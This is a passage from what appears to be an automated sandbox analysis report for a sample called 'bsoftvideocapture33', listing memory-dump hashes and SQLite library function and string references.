                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_bind_int64sqlite3_mutex_leave
                                                                                          • String ID:
                                                                                          • API String ID: 3064317574-0
                                                                                          • Opcode ID: 8bfbb127be37b3944cf6aee767a60d103abce584902525ba566a621f413e0d82
                                                                                          • Instruction ID: 7a9bf9350bb0d435b7485bd9c083abc2dab3a9c90cc7cce47300d03dda88f0d0
                                                                                          • Opcode Fuzzy Hash: 8bfbb127be37b3944cf6aee767a60d103abce584902525ba566a621f413e0d82
                                                                                          • Instruction Fuzzy Hash: FFD092B4909309AFCB00EF29C48644EBBE5AF98258F40C82DFC98C7314E274E8408F92
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: fc903d30242b0235a49ca3dc9f8df4f0198bb3c17ee07b08e44db8f45d9d2100
                                                                                          • Instruction ID: 8dcd3a280e311d85a08cff7bb149483fc74061697cd2af1d422aa8a6e56622f3
                                                                                          • Opcode Fuzzy Hash: fc903d30242b0235a49ca3dc9f8df4f0198bb3c17ee07b08e44db8f45d9d2100
                                                                                          • Instruction Fuzzy Hash: 3DE0E2287142159BDB08EE6AC6C181B77ABBFD9654760846CE9078F202E776E9029640
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 5c5aa561fe8b7943dde2a358ba30c2c8876ef78bddd50c77f68009583e67d90a
                                                                                          • Instruction ID: 29002ccca7877ead4b7e7e784383ace88c03f26ddf616943a2b43c0eb71ea2e3
                                                                                          • Opcode Fuzzy Hash: 5c5aa561fe8b7943dde2a358ba30c2c8876ef78bddd50c77f68009583e67d90a
                                                                                          • Instruction Fuzzy Hash: 36E0E2B850430DABDF00CF09D8C188A7BAAFB08364F10C119FC190B305C371E9548BA1
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: c82c79c3d673ce5d83164ffe7b594e49b00bd73c00824d0aa5044480003c1f0d
                                                                                          • Instruction ID: a276b763828cd9d21177d39229c24ef0f5c00ef14d0f26540801fec71d9d5410
                                                                                          • Opcode Fuzzy Hash: c82c79c3d673ce5d83164ffe7b594e49b00bd73c00824d0aa5044480003c1f0d
                                                                                          • Instruction Fuzzy Hash: 29E0E2B850430DABDF00CF09D8C198A7BAAFB08264F10C119FC190B304C331E9148BE1
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: d3c407e99ff1326d716251d27052f3514f6d3ace0f30ccd24b81610f61b1d9b8
                                                                                          • Instruction ID: aa639d4c52eda77921d109c173628d401b16d57fa3137d2b917a91732d8775c8
                                                                                          • Opcode Fuzzy Hash: d3c407e99ff1326d716251d27052f3514f6d3ace0f30ccd24b81610f61b1d9b8
                                                                                          • Instruction Fuzzy Hash: D7C01265704208574B00E92DE8C154577AA9718164B108039E80B87301D975ED084291
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 83a733227118cb881a49c8c313e73996236a25ff6ef409992dae375156ab2579
                                                                                          • Instruction ID: b9da89681c28018b616aefc3abdd9d2409dd53a1bfe33812f7039069606fa4db
                                                                                          • Opcode Fuzzy Hash: 83a733227118cb881a49c8c313e73996236a25ff6ef409992dae375156ab2579
                                                                                          • Instruction Fuzzy Hash: 6DB09214310A0F829B008B29A4819277BEEAB989897558064990A8A115FA71F88286C0
                                                                                          APIs
                                                                                          • sqlite3_initialize.SQLITE3 ref: 6096C5BE
                                                                                            • Part of subcall function 60912453: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 609124D1
                                                                                          • sqlite3_log.SQLITE3 ref: 6096C5FC
                                                                                          • sqlite3_free.SQLITE3 ref: 6096C67E
                                                                                          • sqlite3_free.SQLITE3 ref: 6096CD71
                                                                                          • sqlite3_mutex_leave.SQLITE3 ref: 6096CD80
                                                                                          • sqlite3_errcode.SQLITE3 ref: 6096CD88
                                                                                          • sqlite3_close.SQLITE3 ref: 6096CD97
                                                                                          • sqlite3_create_function.SQLITE3 ref: 6096CDF8
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_free$sqlite3_closesqlite3_create_functionsqlite3_errcodesqlite3_initializesqlite3_logsqlite3_mutex_entersqlite3_mutex_leave
                                                                                          • String ID: BINARY$NOCASE$RTRIM$porter$rtree$rtree_i32$simple
                                                                                          • API String ID: 1320758876-2501389569
                                                                                          • Opcode ID: 6bfcb0ec024900a9d9b4e92c8a495cd7f0e11888819caa106d9e2d842adf35f2
                                                                                          • Instruction ID: 66f98c4e8467cc0752991b2fada45a5d6d89a43a55ba94f1559c09c68fc79e30
                                                                                          • Opcode Fuzzy Hash: 6bfcb0ec024900a9d9b4e92c8a495cd7f0e11888819caa106d9e2d842adf35f2
                                                                                          • Instruction Fuzzy Hash: 7A024BB05183019BEB119F64C49536ABFF6BFA1348F11882DE8959F386D7B9C845CF82
                                                                                          APIs
                                                                                          • sqlite3_free.SQLITE3 ref: 609264C9
                                                                                          • sqlite3_free.SQLITE3 ref: 60926526
                                                                                          • sqlite3_free.SQLITE3 ref: 6092652E
                                                                                          • sqlite3_free.SQLITE3 ref: 60926550
                                                                                            • Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80
                                                                                            • Part of subcall function 6090AFF5: sqlite3_free.SQLITE3 ref: 6090B09A
                                                                                          • sqlite3_free.SQLITE3 ref: 60926626
                                                                                          • sqlite3_win32_mbcs_to_utf8.SQLITE3 ref: 6092662E
                                                                                          • sqlite3_free.SQLITE3 ref: 60926638
                                                                                          • sqlite3_snprintf.SQLITE3 ref: 6092666B
                                                                                          • sqlite3_free.SQLITE3 ref: 60926673
                                                                                          • sqlite3_snprintf.SQLITE3 ref: 609266B8
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_free$sqlite3_snprintf$sqlite3_mutex_entersqlite3_win32_mbcs_to_utf8
                                                                                          • String ID: \$winFullPathname1$winFullPathname2$winFullPathname3$winFullPathname4
                                                                                          • API String ID: 937752868-2111127023
                                                                                          • Opcode ID: 76700054f020c8d7fe753577c30eef17e659d67ca67044e42639e839992701d7
                                                                                          • Instruction ID: 28f04709130b2e8b140c84fcd32bad5e17fba194e1ccee1aab8ced89c5ccf9cf
                                                                                          • Opcode Fuzzy Hash: 76700054f020c8d7fe753577c30eef17e659d67ca67044e42639e839992701d7
                                                                                          • Instruction Fuzzy Hash: EA712E706183058FE700AF69D88465DBFF6AFA5748F00C82DE8999B314E778C845DF92
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: memcmp$sqlite3_mprintf$sqlite3_malloc$sqlite3_freesqlite3_vfs_find
                                                                                          • String ID: @$access$cache
                                                                                          • API String ID: 4158134138-1361544076
                                                                                          • Opcode ID: 19065094f7a61ae5fa0f118773a69bd69932ab9bc71fb499c0e2e31449818374
                                                                                          • Instruction ID: 35071b2ec389daa84eb338d99e29a1052eb2425681bc363379ff67fe3f9a0dd7
                                                                                          • Opcode Fuzzy Hash: 19065094f7a61ae5fa0f118773a69bd69932ab9bc71fb499c0e2e31449818374
                                                                                          • Instruction Fuzzy Hash: 27D19E75D183458BDB11CF69E58039EBBF7AFAA304F20846ED4949B349D339D882CB52
                                                                                          APIs
                                                                                          Strings
                                                                                          • ATTACH ':memory:' AS vacuum_db;, xrefs: 60948534
                                                                                          • PRAGMA vacuum_db.synchronous=OFF, xrefs: 609485BB
                                                                                          • BEGIN;, xrefs: 609485DB
                                                                                          • SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence' , xrefs: 60948748
                                                                                          • INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0), xrefs: 60948788
                                                                                          • SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %', xrefs: 60948708
                                                                                          • SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0, xrefs: 609486C8
                                                                                          • ATTACH '' AS vacuum_db;, xrefs: 60948529
                                                                                          • SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %' , xrefs: 609486E8
                                                                                          • SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';, xrefs: 60948768
                                                                                          • SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0, xrefs: 60948728
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_log
                                                                                          • String ID: ATTACH '' AS vacuum_db;$ATTACH ':memory:' AS vacuum_db;$BEGIN;$INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)$PRAGMA vacuum_db.synchronous=OFF$SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %' $SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0$SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'$SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence' $SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';$SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
                                                                                          • API String ID: 632333372-52344843
                                                                                          • Opcode ID: d52540ff3cd5a889f8fcb2175177c5c293f6bf3e96b3409faf11301466b535e5
                                                                                          • Instruction ID: 17dae18cb22bd420f764556e48f7e631e7f528851c991f2db59136dec61311d4
                                                                                          • Opcode Fuzzy Hash: d52540ff3cd5a889f8fcb2175177c5c293f6bf3e96b3409faf11301466b535e5
                                                                                          • Instruction Fuzzy Hash: 1202F6B0A046299BDB2ACF18C88179EB7FABF65304F1081D9E858AB355D771DE81CF41
                                                                                          APIs
                                                                                            • Part of subcall function 609296D1: sqlite3_value_bytes.SQLITE3 ref: 609296F3
                                                                                            • Part of subcall function 609296D1: sqlite3_mprintf.SQLITE3 ref: 60929708
                                                                                            • Part of subcall function 609296D1: sqlite3_free.SQLITE3 ref: 6092971B
                                                                                            • Part of subcall function 6095FFB2: sqlite3_bind_int64.SQLITE3 ref: 6095FFFA
                                                                                            • Part of subcall function 6095FFB2: sqlite3_step.SQLITE3 ref: 60960009
                                                                                            • Part of subcall function 6095FFB2: sqlite3_reset.SQLITE3 ref: 60960019
                                                                                            • Part of subcall function 6095FFB2: sqlite3_result_error_code.SQLITE3 ref: 60960043
                                                                                          • sqlite3_malloc.SQLITE3 ref: 60960384
                                                                                          • sqlite3_free.SQLITE3 ref: 609605EA
                                                                                          • sqlite3_result_error_code.SQLITE3 ref: 6096060D
                                                                                          • sqlite3_free.SQLITE3 ref: 60960618
                                                                                          • sqlite3_result_text.SQLITE3 ref: 6096063C
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_free$sqlite3_result_error_code$sqlite3_bind_int64sqlite3_mallocsqlite3_mprintfsqlite3_resetsqlite3_result_textsqlite3_stepsqlite3_value_bytes
                                                                                          • String ID: offsets
                                                                                          • API String ID: 463808202-2642679573
                                                                                          • Opcode ID: 496dcd0dbd0e24e84f3ae9a4f9495b5d667a7098f4014ef95464c797b1727b83
                                                                                          • Instruction ID: 1101d6838161b799219a4b3d5732631e197d31251dd2d8b91c34f261bd2faa79
                                                                                          • Opcode Fuzzy Hash: 496dcd0dbd0e24e84f3ae9a4f9495b5d667a7098f4014ef95464c797b1727b83
                                                                                          • Instruction Fuzzy Hash: 72C1D374A183198FDB14CF59C580B8EBBF2BFA8314F2085A9E849AB354D734D985CF52
                                                                                          APIs
                                                                                          • sqlite3_value_text.SQLITE3 ref: 6091A3C1
                                                                                          • sqlite3_value_bytes.SQLITE3 ref: 6091A3D6
                                                                                          • sqlite3_value_text.SQLITE3 ref: 6091A3E4
                                                                                          • sqlite3_value_bytes.SQLITE3 ref: 6091A416
                                                                                          • sqlite3_value_text.SQLITE3 ref: 6091A424
                                                                                          • sqlite3_value_bytes.SQLITE3 ref: 6091A43A
                                                                                          • sqlite3_result_text.SQLITE3 ref: 6091A5A2
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_value_bytessqlite3_value_text$sqlite3_result_text
                                                                                          • String ID:
                                                                                          • API String ID: 2903785150-0
                                                                                          • Opcode ID: 408a6008a3f19a662094ad197d730d6af4ceeedc2d56196c0f88669f9a2ea12f
                                                                                          • Instruction ID: 050d84d3da0bd462ad4a4a15df4a38950001fc66f1de33c81d7c2c3a6f7146e7
                                                                                          • Opcode Fuzzy Hash: 408a6008a3f19a662094ad197d730d6af4ceeedc2d56196c0f88669f9a2ea12f
                                                                                          • Instruction Fuzzy Hash: 8971D074E086599FCF00DFA8C88069DBBF2BF59314F1485AAE855AB304E734EC85CB91
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_freesqlite3_malloc
                                                                                          • String ID:
                                                                                          • API String ID: 423083942-0
                                                                                          • Opcode ID: 039a1925b88827ab71129b12bf0a0cfd7bb9a75e2f5fb5313a60c0869b9e4a18
                                                                                          • Instruction ID: dba10035f3c017a022ff92dc0406edc4c972eb6647695f7afdbed5011b3e14eb
                                                                                          • Opcode Fuzzy Hash: 039a1925b88827ab71129b12bf0a0cfd7bb9a75e2f5fb5313a60c0869b9e4a18
                                                                                          • Instruction Fuzzy Hash: 9112E3B4A15218CFCB18CF98D480A9EBBF6BF98304F24855AD855AB319D774EC42CF90
                                                                                          APIs
                                                                                          • sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 609124D1
                                                                                          • sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091264D
                                                                                          • sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 60912662
                                                                                          • sqlite3_malloc.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091273E
                                                                                          • sqlite3_free.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 60912753
                                                                                          • sqlite3_os_init.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 60912758
                                                                                          • sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 60912803
                                                                                          • sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091280E
                                                                                          • sqlite3_mutex_free.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091282A
                                                                                          • sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 6091283F
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_freesqlite3_mallocsqlite3_mutex_freesqlite3_os_init
                                                                                          • String ID:
